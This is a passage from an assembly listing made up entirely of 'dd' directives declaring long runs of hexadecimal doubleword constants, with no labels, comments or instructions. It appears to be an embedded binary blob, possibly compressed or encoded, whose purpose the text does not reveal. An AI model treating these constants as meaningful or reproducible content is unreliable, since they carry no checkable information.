2EF6C74Bh, 0D30095F9h dd 0E1B70D16h, 3BFC7020h, 17BD997Ch, 44D68580h, 0F1BC765Dh dd 9E5AB3Ch, 80C39823h, 3715B35Ah, 0B8DE00B5h, 8944304Bh dd 4600AB08h, 0DB2FD982h, 7094F6h, 601477Fh, 352C56E7h dd 36344000h, 4562EA6Eh, 0A93201FEh, 49117B6h, 0D2EFCCF1h dd 0C69DD800h, 29712365h, 9A1B1851h, 567C50DFh, 0A2FE1007h dd 5067A3B6h, 156911A0h, 0DAE500F1h, 21D08817h, 0A103D99Bh dd 362FAFECh, 14AB99C8h, 7B925C8h, 64296598h, 335A20CCh dd 701F34E2h, 0CA008212h, 178566F4h, 75800013h, 57ADB236h dd 0E0018D2h, 0F26EFF92h, 0D57E94h, 0A8330751h, 2E01C428h dd 55A1C3Dh, 0A0D688B3h, 0B49A700h, 0E161D5h, 0FECFED9Fh dd 0CAB8290h, 28D13100h, 0B51B52C0h, 69B3A30h, 0EB800DB8h dd 0DA79B77Ch, 9CE8801Ch, 4A24D107h, 1D30CCEDh, 0BAB868h dd 87C4DA43h, 126266E0h, 90D93628h, 4C000D42h, 0CFA45817h dd 68007BA0h, 0E8DC80DFh, 0EEF1ADh, 4CEADD5Fh, 79B6DE56h dd 970004ECh, 466B0507h, 59524Dh, 0B00C2134h, 121F690Fh dd 94C4A60Ah, 0FA00ADD3h, 7638EC97h, 1AB10024h, 0F7B005DDh dd 930027FBh, 0BA8B19E6h dd 1CCA86D2h, 800B372Fh, 85EC15DEh, 213B0110h, 0D8A4803Ch dd 7920CE1Ah, 277C0075h, 0C7A5815Bh, 95E6DF55h, 4400AD72h dd 38E6B7F6h, 0C80EA7h, 0A0204ECAh, 0C9B65E0Dh, 48ECA600h dd 67B7A2BBh, 96FA5C21h, 0AE97CB00h, 35D9B05Ah, 101538h dd 82D32F3h, 0C4FA76h, 90B84B8Ch, 25DD6871h, 7A8F0100h dd 5FCD99B7h, 0ECAF50C1h, 0F8F0500Ch, 402A2E9Ch, 0E55700F6h dd 0C8EF234Ah, 0C266600h, 246C553Bh, 53F52C1Bh, 47E100CFh dd 0F71DEC76h, 21B1CE00h, 9E11B498h, 0F80B0193h, 6504158h dd 1DCCF4D1h, 947EFC24h, 0E7A59580h, 115F7Ch, 717D9C37h dd 8786FE92h, 0E300D892h, 0BB1AA93Ch, 169C59Fh, 0CBF77436h dd 0D84A672Fh, 0EB003BF1h, 2458A96Ah, 241FF245h, 8048254Dh dd 63FDC0F8h, 3C90BC91h, 5200A376h, 7993F0FCh, 3F6CD368h dd 4609B2B8h, 0E4007E54h, 5E783BECh, 80C9AD3Fh, 97FF7641h dd 0E2816556h, 8CA90095h, 8B72269Bh, 76098054h, 7CCEAAD2h dd 0A803A8Fh, 659B5193h, 0C1129D16h, 0D4006FC6h, 8545FF4Dh dd 0B87A3A9Ch, 230B4400h, 405D4C1Dh, 9DA37C0Fh, 24A996h dd 52CC720Ch, 7A9A00DFh, 6B8864BBh, 0A2079D08h, 6E1147F3h dd 77AA6390h, 8F950113h, 4EE029D1h, 0D052CD3Eh, 300F50ADh dd 0C092D4A3h, 9D3C828Eh, 0C3EE6Bh, 5A84B448h, 9BB8C92Eh dd 88F8CFh, 0F5F3D62Dh, 0D0F800CCh, 0C4FCE83Bh, 270E87B2h dd 0A7E91Bh, 652E4083h, 0ADB8F7h, 0B58C4E79h, 8EA0363Bh dd 0C9892200h, 0C7F8AD6h, 0EDDE4D2h, 6373342h, 76C893A0h dd 99097421h, 80D9128Eh, 86471B6Bh, 35F300D7h, 738DA09Ah dd 0EE7CB8EBh, 967E570Fh, 0C9532F4Ch, 2AF8005Fh, 184F0Bh dd 1D1304F3h, 3EC3A5E6h, 18B0F0FEh, 8CD94Dh, 3D6A9E20h dd 7E9F245Ah, 8CA10F4Bh, 0A820B92Dh, 0E9BDBA34h, 0B2BB6230h dd 3D9CC0CCh, 460243FBh, 3C55BC6Ah, 31504EE0h, 7BF4DF01h dd 5FF67749h, 295AF4h, 0CB0E9B46h, 668A01CFh, 7CF58800h dd 47525119h, 593C0009h, 0F837725Ah, 30006F44h, 9C541B71h dd 0B78A64h, 0E73A336Bh, 6A90153Bh, 0F80E113Dh, 38503C00h dd 180D51A1h, 0F584392Ch, 0BB02D100h, 476C64C8h, 4E678D00h dd 7F4F18BEh, 71B5801h, 9A30E500h, 0A45CF586h, 122C2200h dd 0B226B8F2h, 193424DCh, 2B488048h, 8A51CACFh, 0C32AC500h dd 0D9977112h, 10F90549h, 0C0B02446h, 2ACB9F35h, 39D6E400h dd 4FAE2659h, 3CE1C9Bh, 47584021h, 0E061F396h, 263FC1FAh dd 9CA580F4h, 9AB0F6A9h, 91C000CEh, 59789DCBh, 0E67F34B7h dd 0CD6158h, 0D4258754h, 0FF17E81h, 0D55D5CC3h, 63DE9280h dd 770C099Ah, 586DA648h, 763C0085h, 60F22011h, 0BF04A812h dd 0D88CA24h, 0FD92F3C0h, 2F680009h, 8AB6D2BCh, 0DE0043C6h dd 8CD7C4EAh, 0E41F70h, 394D1BDh, 0F1228083h, 86E1AC00h dd 9F3368DDh, 7FF8000Ch, 59CAF55Ch, 0E20085AAh, 47A77AF0h dd 0B5AC27E0h, 140048F8h, 0C618F6B8h, 4DA6E5D5h, 66048C96h dd 0D04FCBB4h, 7AF9AC64h, 90AF5C0Bh, 7E5803C6h, 3BD49864h dd 7AEEAD3h, 88560812h, 8FBF1019h, 2C0301E4h, 9722B1C3h dd 0F3D898BCh, 0EB7F00CDh, 0FA4F9D60h, 4C2C12D3h, 0B800B0F0h dd 7F7AC9D1h, 0ADE902DBh, 909659A2h, 3A116468h, 0CC0E760Ch dd 0F02A1155h, 7FEB00ACh, 0F141C731h, 0F2008D5Ah, 1A0F05E9h dd 3E6DBBB7h, 85000B58h, 6A93EB20h, 530F6F19h, 80E9D318h dd 83A570B5h, 5618C0CDh, 0B1F3BDB4h, 0C4A1291Eh, 37B7580h dd 90BC25h, 169298F7h, 6AE2A959h, 0E307CC01h, 0BE5FA55Dh dd 0B214F4h, 72B1EE29h, 2761C66Bh, 0F7A7DD05h, 9801FFD6h dd 0A540F3DBh, 5D556AF4h, 6F3DB402h, 0C02BEB9Eh, 8E3BB02Ch dd 0A073C3Fh, 0C101AFC2h, 9DC0E6B4h, 0F0D605h, 0EA957734h dd 0C50B7AD0h, 0A3FD7100h, 843E477Bh, 0FB961FE9h, 4C911DE1h dd 0B278F12Ch, 1CD2E51Eh, 534FBB1Ch, 0C7E1C011h, 304E4BEBh dd 5488DA3Dh, 0DF07264Ah, 0A836BB5Dh, 32E923E0h, 8821C03Ah dd 7DFFF23Ch, 7E6AFE00h, 9E415A9Fh, 1D6103CDh, 0E16C451Ah dd 0CE644A0h, 2C7E990Ch, 0F6F9F7h, 0CCE3A197h, 135FE54h dd 0CAF21800h, 1B342C08h, 29A4618Dh, 0FF5F7A13h, 58914AD8h dd 30B8848h, 0A20419D8h, 0A1B0A7DCh, 29CE92F4h, 30E92Ch dd 0A74876F7h, 0BA15CBAAh, 802D6Fh, 966217FFh, 0DA2FA0h dd 9138AB15h, 1B4697A8h, 10C93EAh, 31527781h, 342B1CDBh dd 0D2526Fh, 0C208D834h, 0F400EF24h, 0A552F74Ah, 67D1A4h dd 1D73596Ah, 0AD31BD4Fh, 8D41EA60h, 28866619h, 3AEC18F7h dd 0D558157Ch, 0F8DD9739h, 80C37E1Fh, 52E9DDB5h, 0F724578h dd 80BF3C3Fh, 0F7849A29h, 1FCD01Fh, 4A5BFA53h, 0D0203E5Fh dd 4000A158h, 2EF1CEBDh, 78C5B792h, 0E8EE00C1h, 26D0D37Dh dd 8601E991h, 36FCF602h, 11F425FAh, 8FC400AEh, 42DAA3BEh dd 1F07E7DEh, 69AA467Fh, 0E43D9E30h, 0FB8100B6h, 0C3B9A9F3h dd 1300499Ah, 40995D17h, 3B900F08h, 4C00AD9Dh, 701F66A4h dd 0E800A3B3h, 890DD2DDh, 804F5Dh, 5BEADA71h, 2F7D84DBh dd 13A6D7Ah, 0BB6F8061h, 0A41C26E8h, 250D00ECh, 6E20CA9Eh dd 5B0FD03Ch, 0C0DC7D55h, 0B311BAA7h, 8728C41Bh, 3D4A4423h dd 11117C4Fh, 0D108B0B5h, 76109DD8h, 44C88184h, 6A44CE39h dd 427248D9h, 902EDD2Bh, 48D48E84h, 22BC441Eh, 0EA851161h dd 0BF33682Fh, 0D6FFC922h, 0C9EC1A27h, 862D88E6h, 0CBC6770Bh dd 0B2DB00A8h, 50E074A0h, 8D98Eh, 68701CDEh, 0E68445C5h dd 0E4694300h, 3F48610Ch, 0A90A00ABh, 0EBFFBD1Eh, 92005902h dd 42E12F32h, 7298A0h, 9F82216Fh, 0B6F96191h, 8E578B1Dh dd 6F2A680h, 2C6D1Dh, 0B23A4920h, 0C255CA28h, 0F0959202h dd 0E36A4FEDh, 0F3872DEh, 0E7B880BAh, 0B910012h, 5D7D0911h dd 0F1C61300h, 37F383ABh, 0B61200EFh, 0F1E88C7h, 8D0038BDh dd 0A44E1FC3h, 2955B14h, 44259E2Fh, 5FC0F711h, 93308D28h dd 7A54485Ah, 9F6C3B55h, 0CAB61181h, 0D47C36D3h, 0C3088E39h dd 0B825BE2h, 8A8716DCh, 0FEF000A1h, 760062A7h, 0F45645C0h dd 0F8178Eh, 0A667849h, 0E61364C1h, 0F322102h, 80813395h dd 0D8E1EF9Ch, 8E6200B3h, 0B6F81DA3h, 8503FA9Ch, 0E487F9FBh dd 4290EFD2h, 9836CAh, 0CD32D1AFh, 2285B1B7h, 5C73A700h dd 78E6C612h, 561F1F60h, 975E40C4h, 0DC3CF047h, 3F04423Dh dd 3FB680DEh, 0CE636DA7h, 517D3Ah, 1E419F69h, 841BEA72h dd 0F3C74300h, 505BC8D6h, 0D2ECFAh, 0CDDCBCCFh, 2C30F616h dd 0ADB18200h, 78D101F5h, 0B0290054h, 0B5475A81h, 3400C06Ch dd 0E1F38B3h, 3BB11AF5h, 0C5049853h, 8026FF76h, 61F4AC0Ch dd 0EA226F00h, 9FC10F65h, 0B9A40577h, 0C2F2A357h, 0A4603B43h dd 0EA79D187h, 34EC4403h, 0A02448AFh, 0C22E74h, 522B1FBCh dd 0D6FD0DCBh, 68AD6500h, 0DA02A8FCh, 6AA50099h, 582F1DE7h dd 9C0097EBh, 0B9A3A9CFh, 790CE0E5h, 66820084h, 0D162B627h dd 0C8149981h, 7EF0DD51h, 0B9216E00h, 0A5D98996h, 0C6D10071h dd 0E284950Ch, 18001B77h, 0B9361D7Ch, 196A7h, 7EF33AC4h dd 0B6FD4030h, 8F4C0D00h, 77882958h, 0D6D80047h, 0CC4A517Ah dd 0BE284684h, 3D00A515h, 0BC1996FDh, 2748CAh, 80FE9A2Dh dd 61693E07h, 9D832B00h, 95D844Ch, 8B9038h, 76A019FAh dd 92323652h, 480002F0h dd 0C0E00480h, 1CC22497h, 80F2847Eh, 0FCEFD236h, 9D24A598h dd 5000F85Fh, 0BA31B959h, 7F7CFE95h, 9A0D00C7h, 0A907C56Dh dd 5E01D95Ah, 1C5BC005h, 36E0AD25h, 223B0009h, 2BDD6B59h dd 8701AFC4h, 0A4134165h, 8DFCFB42h, 0EE8F03F3h, 0FFE8532Ch dd 21CF00B7h, 5D60936Fh, 89E79696h, 1FE5020Eh, 4B2C878Ah dd 94A01D63h, 0ED008412h, 4F3CD620h, 37790D4h, 170FF506h dd 0A8D807E9h, 0EF24E26Eh, 0FD01B0F7h, 0B62E8B93h, 0BC7B20h dd 0D1D041FBh, 0A811EEFEh, 522C5Ch, 60CEB5D8h, 3DBFF8h dd 9B33C0FFh, 0EE3E02Ah, 738B8209h, 0A073000Dh, 0A81004h dd 0B7F85E17h, 23014ECCh, 0CFA15B00h, 2689EC8Dh, 0D4470058h dd 56D659E7h, 0C490860Eh, 0CFA0FCF0h, 7309B012h, 80B99913h dd 6D259859h, 0A6CB012Bh, 5B909DCAh, 0E1D9ECA8h, 0F30045F2h dd 63F05492h, 76836F5h, 0B8BE155Dh, 2F9D20C1h, 0C200EF20h dd 97084AF6h, 16F97DDDh, 5FA26h, 74359260h, 5049FB54h dd 931B00C0h, 362DD458h, 0C9AD005Ch, 5B8ABD56h, 7C0078D9h dd 526E766Dh, 3939964Fh, 0C780ADB3h, 0AF9E8EA7h, 1500A30Dh dd 0EA0536B5h, 7DEE0AC4h, 89F412F6h, 0FCEF0040h, 0D921972Bh dd 0C9EAC300h, 70C8BB9Fh, 527F3B61h, 852F4F81h, 0C4D999D8h dd 0E600A5FEh, 519E6367h, 0B01B1F46h, 28A3002Fh, 40718978h dd 5309E15Bh, 80679056h, 69FFAAC4h, 7A990004h, 646A16E7h dd 86003894h, 58D76EC1h, 9D243h, 2F108078h, 1D279C1Ch dd 806A483Eh, 22E7708Eh, 4CFFBF82h, 0D8495ECAh, 4760017Ah dd 4437274Dh, 0E8453Dh, 0FB06BE00h, 781F4E5Fh, 17009314h dd 0A174FCB6h, 29B90619h, 1987F7EDh, 0BBDD1000h, 84B2094Ch dd 53A10034h, 9C6A9424h, 0DF006FF1h, 0A0469B8Fh, 0A8CB4C60h dd 2D8BD4h, 5C55823Eh, 99E42392h, 0F0104160h, 2AE2BDh dd 0CC2B6BCBh, 0DFE1DE9Ah, 5E13CE00h, 43ADF016h, 4E3507B0h dd 90BAC459h, 0D7A9DF08h, 5C00FCE0h, 5A0DC101h, 37EE34Bh dd 6D6E799Fh, 5D9312A5h, 40EDEC88h, 0B8E00F00h, 0BB260859h dd 42930067h, 0C26BDC90h, 0AE3C1245h, 0D64894h, 0D5762B8Eh dd 60AB1F10h, 6356C002h, 0B300C6E1h, 93168A1Eh, 586D7F22h dd 0D13AF8F8h, 0B132F080h, 0E833404Eh, 5361090Bh, 4C8280EDh dd 19FD0A7h, 7FF2C815h, 0F898115Ch, 977A5795h, 3D8C6F00h dd 0B09D45F6h, 9F0EAh, 7AB8B7BCh, 4D737C1Dh, 54EF9C00h dd 60BF0AA2h, 0B3A700FCh, 0F4A6A05Ch, 86037803h, 0E92FC62Dh dd 0B55AA87Ah, 63E6FCh, 1017A9D4h, 256F2952h, 0CF8C4100h dd 45131639h, 0FDE00D5h, 2EDC32CDh, 0C900E66Eh, 0A6A9E96Bh dd 9D602h, 8FACADBEh, 10EE1175h, 1681863Fh, 6B009F6Bh dd 9C59201Bh, 2A901C7Ah, 3B19748h, 757E0F21h, 0D85105A0h dd 3DA9FA00h, 25CD19B5h, 0B7A63E10h, 0E12AE480h, 8DCC1F0Ch dd 69576C00h, 33EC45DDh, 0D2C00D5h, 0E3943228h, 8F3A0ADBh dd 0B57C8060h, 9DC40F07h, 788E0FFDh, 5CE0E75Dh, 37AFAD89h dd 0F1036500h, 8061534Ch, 0EA72E8h, 0A14A346Eh, 76C2E0Eh dd 81399CE6h, 0F4880B7h, 3422BE92h, 28E46Fh, 598237BAh dd 0CE3EA55Ah, 700ED207h, 524046C9h, 14C459Bh, 0D0159E62h dd 0C4AF02AEh, 0C02810D4h, 0D500C041h, 0AC8E903Ah, 1C15337Ah dd 2C98D2FEh, 48803F49h, 0C2F40299h, 0EA006D5Fh, 210F12A4h dd 3A74F776h, 0F63BAFh, 0C6AAC3CEh, 8BCA639Ch, 6A65FA00h dd 0CBD1E5Eh, 9ABA003Bh, 7544A0A2h, 0B71C99C5h, 3C001F65h dd 0F56045F1h, 41220050h, 0D58C3139h, 0ED006499h, 0AFE872ADh dd 0E21A9F98h, 0C7600F55h, 2A0EEC5h, 0B85429E0h, 0E74A0800h dd 468C5A52h, 89CB00B5h, 3E654EB7h, 8F18D896h, 0DF31F3ACh dd 0F2DE0023h, 0C8E21340h, 0D0F34E12h, 0D6036550h, 9261E378h dd 55C18F3Dh, 0C2E52C22h, 76D42E4h, 0EC2704D8h, 0FDB2D080h dd 0B4002EC5h, 56C6751Dh, 74DFFEBh, 0DABA0E14h, 5ED8E0D1h dd 33005A02h, 0C3818095h, 36E1AF4h, 6396BA18h, 4C89B001h dd 0B14E6008h, 2D6F400Dh, 37E0A804h, 0EA490083h, 4482703Dh dd 2A075B48h, 0AEA69FA5h, 3298DC00h, 7D462E21h, 0DF830017h dd 0BB9AEA3Dh, 1992D900h, 0CF528F2h, 134401D0h, 8166AECEh dd 0E942003h, 5A4123Dh, 58A2E711h, 28A1E400h, 80A9C6A5h dd 17E46B67h, 0E00EBA2Ah, 45B99B03h, 90B5C35Eh, 0DCE451h dd 8E8B69E1h, 7C211E4Fh, 0BE2F293Bh, 0E864809Fh, 4AC1BCB1h dd 3B680A26h, 0E4960Bh, 8E4C3106h, 481290CFh, 261E62C0h dd 3930D240h, 94EC8B0h, 320FBAF5h, 4BC22E83h, 9591B290h dd 75225301h, 8FCEA35Fh, 0A552D440h, 3FD50081h, 0A2D79A07h dd 7E00FAABh, 0A0830E3Eh, 795F38h, 8C4BA40h, 0BBBE0AD3h dd 0FEBAA02h, 68FD2761h, 71CBA678h, 0E8080043h, 8FA26EC4h dd 0D600FA0Bh, 6A3A7B33h, 3A85C9D3h, 0A0CA3002h, 7D0043BDh dd 8FD18884h, 0FB8E762h, 0D546670h, 0F3AFBAC0h, 125B99D3h dd 250F2DACh, 32439821h, 63E9E4FEh, 8433C45Fh, 0AB043C00h dd 0AECA4AA5h, 3D0F0087h, 0B8F939F1h, 4107A8A7h, 1A64D70Eh dd 3718C350h, 9AF000DDh, 56C2312Bh, 0C97614A5h, 0C50EB60Fh dd 88BAA11Eh, 82D013F4h, 0AAA41325h, 9C740078h, 1D320DF0h dd 8FDF3938h, 8AD3034Fh, 4D04AC5Ah, 3640A4A3h, 0F4374578h dd 983E6700h, 6CA5F87Eh, 0ED4D0051h, 94415BAAh, 0F003CD59h dd 7A72AE90h, 6C3BE82Bh, 9A04171Eh, 98EE0016h, 10D96751h dd 2CA29207h, 57F0B1C9h, 29505Ch, 4E562073h, 0A753F530h dd 802FC43Bh, 46E43FECh, 0F09514h, 0B03DEDE1h, 7F4FC8B3h dd 40349D04h, 40D0F56Ah, 2086A02Bh, 231EB382h, 28C03E8Ah dd 765E1F29h, 0F6FA01CBh, 855D5FC0h, 0A53DC833h, 0BF622C07h dd 1FA1B0A2h, 80E309B5h, 24CCEEF9h, 1685992h, 0EFA80C6Bh dd 5A5C208Dh, 40A01421h, 65869799h, 0E0E2D91Eh, 26E59E40h dd 0E6771675h, 4A0900F4h, 89291173h, 50798B0h, 5103A419h dd 14E7B0FCh, 0C05B06D3h, 4109629Ch, 0A08B9167h, 0D3EB75Ch dd 0AC7D58C4h, 0ABECCD00h, 16F387D4h, 3123C302h, 60945CDAh dd 2609BF34h, 8264EC74h, 4A3B8767h, 4042CFE1h, 961FC2E4h dd 36AB461Ch, 4059D74Fh, 0E542FC5h, 0D19D13CAh, 66400062h dd 3F964388h, 2B019FF0h, 35381539h, 2D5D9B8h, 7782430h dd 0A787F884h, 5843C06Eh, 60EB5D81h, 1D007754h, 0C05926C1h dd 3B447C6Ah, 250084DBh, 8C355306h, 1200F29Eh, 2772FF6Fh dd 38932055h, 7EB62Bh, 566010E7h, 5E3D35E2h, 0AADDD100h dd 88975873h, 764500AFh, 64257751h, 3300E9C3h, 0A2DAB674h dd 0F97E69h, 3F6CD2B3h, 85BED196h, 0C5B7AE00h, 0A3990DB5h dd 0BCA92EB8h, 42950014h, 0F6619E21h, 0C95D0F00h, 0C812CD14h dd 0A04E0130h, 179B33Ah, 50B820E2h, 0A700BF78h, 0AEEDB2C1h dd 28DEAB7Dh, 0CCBDB8h, 8B63317Eh, 1257CFE7h, 623D3B00h dd 8C91DC2Dh, 48F8A0B4h, 7CC20FDh, 0FEF4CEB0h, 0A340A000h dd 8E28AE59h, 0AAEECDh, 0E09A89E9h, 4E7EC762h, 11F76600h dd 0CEFCDE21h, 0AACD00E4h, 0DB3ED242h, 0C300E529h, 0A17305F1h dd 460B9C2h, 31882D2Eh, 0C0FC9076h, 481C9510h, 9FFF4EB6h dd 44809FEDh, 88B72442h, 517304C9h, 90752736h, 7AC0E424h dd 0BDBB038Ch, 7B6A0C51h, 0D1C9F000h, 0A93FBC5Ch, 6CAC004Fh dd 9E17E418h, 0EC2E9102h dd 1B187C3Eh, 0DA38E6h, 2A595411h, 641DC8B9h, 84494660h dd 0BA58B6h, 8839177Ch, 248193E4h, 8840D32Ch, 5FB36883h dd 87311D2Dh, 0D31E45B9h, 288880A4h, 0AE009ED8h, 0FFF18125h dd 0F636AA9h, 0A49B8E42h, 0C009835h, 5C25D07Dh, 1C00C045h dd 0A6E5759Dh, 38BB3CD7h, 0F700DB5Fh, 0E670418Ch, 35B0DE01h dd 0D2610500h, 0CA89D667h, 8A7C0087h, 2D6439B7h, 84005C20h dd 69505B9Ah, 0EA30D725h, 22C314CCh, 9805F01Eh, 0AF8CA2B1h dd 9F6C94C0h, 0B06E4F5Eh, 0A300D406h, 8429BAE9h, 3CB02B90h dd 1080AF8Dh, 752A1D04h, 30007757h, 5DE0F8CFh, 4A01B537h dd 782C02C6h, 1B015BD9h, 0F7ECB416h, 0F522040Eh, 0C432BDE1h dd 0DAE443AEh, 80CDCB0Ch, 0DE18C8D7h, 7D4F3Eh, 0C6564A34h dd 0A07AD1F1h, 3F882CACh, 0A405BD83h, 80A2A953h, 57D2C537h dd 0FF00337Fh, 0FAB0D5A6h, 512442Ah, 0FBC01C2Fh, 0BC2090F3h dd 31E8FF7Ah, 38D55017h, 7B237C41h, 2DC15D29h, 283870h dd 9410BE8Dh, 0F8712FADh, 0B172A6F2h, 6BBB1700h, 0D5BC7AFAh dd 97DA00EEh, 243E7876h, 4B006C30h, 0F041F195h, 2C99F48Fh dd 0C45111h, 0B9FF7393h, 0FB130961h, 30023A2h, 802D8F39h dd 45F304BDh, 804DB99Ah, 9E1AAFE8h, 0FC91B400h, 90075377h dd 0A53800B6h, 64D0E513h, 0BB184D1Bh, 0A1FA4BAFh, 0BDF30202h dd 399E1EDCh, 92671BE0h, 3AF0D03h, 0A0198459h, 2120C6Eh dd 0FBBDAB10h, 484001B8h, 3F00455Ah, 4B955766h, 7A197982h dd 0FD520044h, 83C0ED6Bh, 8009846h, 0D3DD0AB8h, 2F162h dd 0B62C196Fh, 0C36DA3A2h, 0D27D8400h, 62662778h, 6BDA00EBh dd 0AE369ACFh, 62CA46Dh, 5B00104Eh, 0ECCA7AD2h, 0BF58002Bh dd 9CE83DBh, 99019803h, 9614C336h, 0D6E044B6h, 0EE3B006Ch dd 881EEB65h, 6E00FBF1h, 44614FCDh, 0F05B97h, 5A0C1722h dd 87569E38h, 0D3192424h, 4BC8D400h, 713ADECh, 0C618975h dd 7968E130h, 20A4CDB0h, 0EA24417Ch, 3F8448h, 0C7B42605h dd 347FD5h, 0F650802Eh, 720A4777h, 1C7EF0A0h, 5B4F6600h dd 0A11B68BAh, 52B70037h, 0D3289B3Bh, 220442A7h, 5E78952Bh dd 0D6E73880h, 3C99008Fh, 84510E3Ah, 0C7728829h, 59B85000h dd 0B1B0EB79h, 54D4011Bh, 0AB51619Ch, 80DAE5D7h, 0E42E8F10h dd 38EA230Ch, 3C007253h, 0A5D4C7EFh, 3738E655h, 5A04F781h dd 360FADCDh, 0D2230D00h, 4D006A77h, 49F9917Bh, 356124Ch dd 0A6B2BC73h, 38F0D7E7h, 9B00C557h, 40CC18BBh, 7EE5FBh dd 0D00510BDh, 14936995h, 7CD2BC1Fh, 0FC8016DFh, 9264B94Dh dd 84320061h, 7B2FB272h, 0C23E9C55h, 1C9F2CEDh, 5626CC80h dd 3C6C39h, 443303A9h, 0F2F5F55h, 5E777800h, 65D758B0h dd 59E439E7h, 73C4FB00h, 169DDD01h, 7F3BAB00h, 6B798024h dd 0D21200C8h, 44E35E11h, 0F3CED01h, 0D50E87C3h, 0CFB7FC61h dd 0DB114880h, 59B300C7h, 76D6CA28h, 724B61Ah, 0F0218162h dd 8DCD9040h, 0D4980588h, 0BBA1AD69h, 0EE12600h, 5A1BB8h dd 0BBF76AD6h, 16B53B29h, 0DA4F3807h, 1DD0FECBh, 7DC8AAh dd 372DBBF0h, 0AFA19814h, 9C055Dh, 0AA90A63Dh, 1F848B6h dd 0A10B13B8h, 31B560B2h, 66D601A4h, 5BF4406Fh, 31EC0614h dd 98DAEF24h, 8D0714h, 0C5FA9F10h, 1D5FAC08h, 246171h dd 0C37CDC6Bh, 0F5005B0Eh, 0F888160Fh, 0AB928Ah, 12A66DF6h dd 0B1211883h, 5D25FE17h, 657014h, 0F6CF5764h, 3FAA3CD4h dd 3A396D49h, 3BA84283h, 37E3EBE8h, 0BB57C11Ch, 0D183C95Eh dd 0F8496A0Ah, 94F3609h, 82314C96h, 6051D082h, 0D49F4560h dd 790FDE04h, 0BC90BE1Eh, 1D0E4198h, 82367A59h, 9F8E406Bh dd 0FC43C983h, 1293D2B0h, 0F4706E38h, 0E1ACFD16h, 2FC5A05Fh dd 0EC808B51h, 63569Bh, 0D55E3EC6h, 3674B4D9h, 68529DDh dd 0C0EF378Ch, 0AC553D45h, 9E1BD70Fh, 0B7BC21B9h, 5C384675h dd 0E3000E22h, 3DC91049h, 0FE6167Ch, 736066EFh, 4132B2E0h dd 0FC7859ACh, 9218AB07h, 0D13087BAh, 3CA6A007h, 37F4034h dd 0F25502FFh, 45B12E4Eh, 921BDC74h, 0DE8BD300h, 0FA56AD90h dd 307500C9h, 3F0221D2h, 42ECA7Fh, 17034925h, 0C06635AEh dd 13644B38h, 3A478Ah, 1AA9F75Ah, 0BD7F2D7Eh, 0BCFFA805h dd 0CCC0AA5Bh, 1E94D875h, 0C94E7661h, 44A0652Ah, 0D7DDF1D3h dd 7F0A3A0Bh, 2B84005Dh, 2B4965Bh, 0B6F7184Fh, 0FB40C64Ch dd 0D300F6FDh, 2F046272h, 0B82BD55Ch, 50F8E0C0h, 304DA3A9h dd 4E71B809h, 20DD2EB0h, 46157680h, 0EC32F073h, 0F86CB052h dd 0A99700D3h, 5D7E6231h, 8400F9FCh, 89865B64h, 0FDDD14h dd 0AEBBE1A2h, 2D3515E3h, 723DAB01h, 0AC27D1B1h, 665DE0D7h dd 0C291EC02h, 0C6A90D80h, 0EA346200h, 31280084h, 0EB216D8Ch dd 7500A1F2h, 0E8C7CBBBh, 29DD9D4Ah, 1C4309h, 59EEEBBCh dd 54A0782Fh, 3A00A355h, 22859CCAh, 2D5CF6h, 0F7C995F5h dd 0C1FB13A1h, 522EFA1Ch, 91ADB383h, 15A9F848h, 4C980006h dd 0F0C9FBF3h, 0AF07EC60h, 73830885h, 9D819507h, 0B4C82BE7h dd 3DAE00EEh, 0C355AC5Dh, 2CFA91CAh, 0D98A6B07h, 4914D60Dh dd 0D497F1C0h, 0E3A4038Eh, 0B981B20Bh, 6A61BBA0h, 0AD002273h dd 71C09B4Dh, 16F094h, 3A4F2D3Fh, 0F6EA1B58h, 211DD67Dh dd 4A80D469h, 9192437Ch, 1082D28h, 1B00B57Eh, 0EA047848h dd 5EF70072h, 2A4EEFB2h, 28003301h, 0CE87B89Ch, 163D26F3h dd 14CC150h, 73392A58h, 3B10404Fh, 4E4DF07Bh, 43480108h dd 0B0EA0CB4h, 3E551180h, 0F8275991h, 3224EE19h, 2180A609h dd 0AF8BC435h, 0C90055D0h, 0C06DCF39h, 3568B120h, 2687F1Fh dd 50DB608Fh, 5D3CD4A0h, 731245F5h, 0EAE1666h, 0F88B1526h dd 0D413D420h, 54FE0AF5h, 7FA2E003h, 0E0426A79h, 0C4B433CEh dd 90834AE8h, 4653A460h, 0FC9E0200h, 50CC2D29h, 0C6660064h dd 270B5BBEh, 720CCB48h, 0E91E54C4h, 6A570028h, 1759AAFCh dd 7664A252h, 54B01D08h, 6A5F0062h, 12F8DB65h, 0A1027028h dd 2F6F88E5h, 70BC2A6h, 76024F94h, 28B08010h, 9F2974h dd 0BED9FBCDh, 2D0256EEh, 5B177A00h, 96AFED64h, 99890093h dd 81A835CDh, 84000F2Ch, 0B3035942h, 380172h, 0FAD7D6D3h dd 0FAEFBBCh, 6DA12D00h, 6BCFCC90h, 4F6503DEh, 0BA32B9BEh dd 3D0819C0h, 9C0B6900h, 54F01707h, 357C00FEh, 5DFCF2BEh dd 0CB007B5Ch, 0E09D3D89h, 7436C9D9h, 69460018h, 7BC8C037h dd 4C00E83Eh, 5235B775h, 0A59002h, 0AB8F1A7h, 0F396A01Bh dd 875B4100h, 1EC16D27h, 7E0D3271h, 49508C8h, 0B3A60077h dd 7079CB37h, 7DBB7A00h, 0CF0C3465h, 289D6092h, 1286CEC5h dd 9A0493F8h, 204EC8D9h, 82190FFEh, 0FFC1EC0h, 0ED32C2A5h dd 10B6297Fh, 0BA897701h, 7A45CB08h, 5611D6D9h, 100612BDh dd 0DE8973A0h, 7E456108h, 6A11FAC9h, 82EA127Dh, 2578F63Ch dd 4A1404EEh, 0D706447Eh, 0E7717842h, 88FBE80Fh, 92947713h dd 6F5F1828h, 88FD5629h, 134032A4h, 0C951C02Eh, 0AD0DEE2Dh dd 728ACF3Bh, 351C6400h, 54FD7C60h, 32CA07BAh, 473CD9D7h dd 0D453510Eh, 0EEA3E8F3h, 7F7C13EAh, 0EBF40100h, 5D40A2AAh dd 10690E6Bh, 0EC604416h, 59C76319h, 0C1FCB800h, 3447316Ch dd 1A830013h, 6DB9860Fh, 4EB8911Eh, 0B6EDD507h, 2950E8B1h dd 59A80Bh, 6267F03Dh, 0EA2AC994h, 44425B00h, 692EAFDDh dd 1841011Dh, 8A832CA6h dd 27CAC06Ah, 0B2BCF013h, 0DAB47303h, 0DFF8A066h, 905C51BEh dd 141E2451h, 188676ECh, 60CB414Ch, 7A0C65F7h, 0FEB1513Ch dd 0E2C64C2Ch, 8D0DBE00h, 0E9A39E80h, 982D1300h, 0ABED10D9h 